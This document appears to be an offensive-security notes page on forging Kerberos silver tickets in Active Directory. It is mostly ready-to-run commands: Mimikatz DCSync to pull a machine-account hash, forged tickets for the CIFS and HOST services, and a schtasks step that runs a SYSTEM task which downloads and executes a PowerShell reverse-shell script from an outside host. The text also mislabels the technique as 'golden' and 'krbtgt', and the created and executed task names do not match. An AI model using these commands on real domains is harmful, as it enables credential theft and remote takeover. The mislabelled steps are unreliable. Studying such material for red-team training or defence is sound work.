# Silver Ticket

Silver ticket is signed and encrypted with the target service account hash.
\
Represents a valid TGS (for authorization)
\
Requirements :
\
• Domain SID
\
• <mark style="color:orange;">**Service account /Machine Account hash**</mark>
\
• Domain name
\
• SIDS (in Cross-Forest Attacks)

<figure><img src="/files/OZ2rdQMssoKjYKHxntx7" alt=""><figcaption></figcaption></figure>

Extract krbtgt account hash :thumbsup:

```
Invoke-Mimikatz -Command '"lsadump::dcsync /user:cyberwarfare\dc-01$"'
```

• Domain SID :thumbsup:

```
whoami /all (of a domain user)
```

Adversary Forge Golden ticket in a Domain as follows :thumbsup:

```
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:cyberwarfare.corp /sid:S-1- 5-
21-yyyyyyyy-zzzzzzzzzz-xxxxxx /target:enterprise-dc.cyberwarfare.corp /service:cifs /rc4:<HASH> /id:500
/groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
```

### Command Execution using Silver Ticket&#x20;

Adversaries create a silver ticket for HOST service which allows them to schedule a malicious
\
task on the target

```
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:cyberwarfare.corp /sid:S-1-
5-21-xxxxxx-yyyy-zzzzz /target:exterprise-dc.cyberwarfare.corp /service:HOST /rc4:xxxxx /id:500
/groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
```

Schedule and execute a task on Remote Server

```
schtasks /create /S enterprise-dc.cyberwarfare.corp /SC Weekly /RU "NT Authority\SYSTEM" /TN “lateral" /TR
"powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://10.10.10.1:8000/InvokePowerShellTcp.ps1''')'"
```

```
schtasks /Run /S enterprise-dc.cyberwarfare.corp /TN "STCheck"
```


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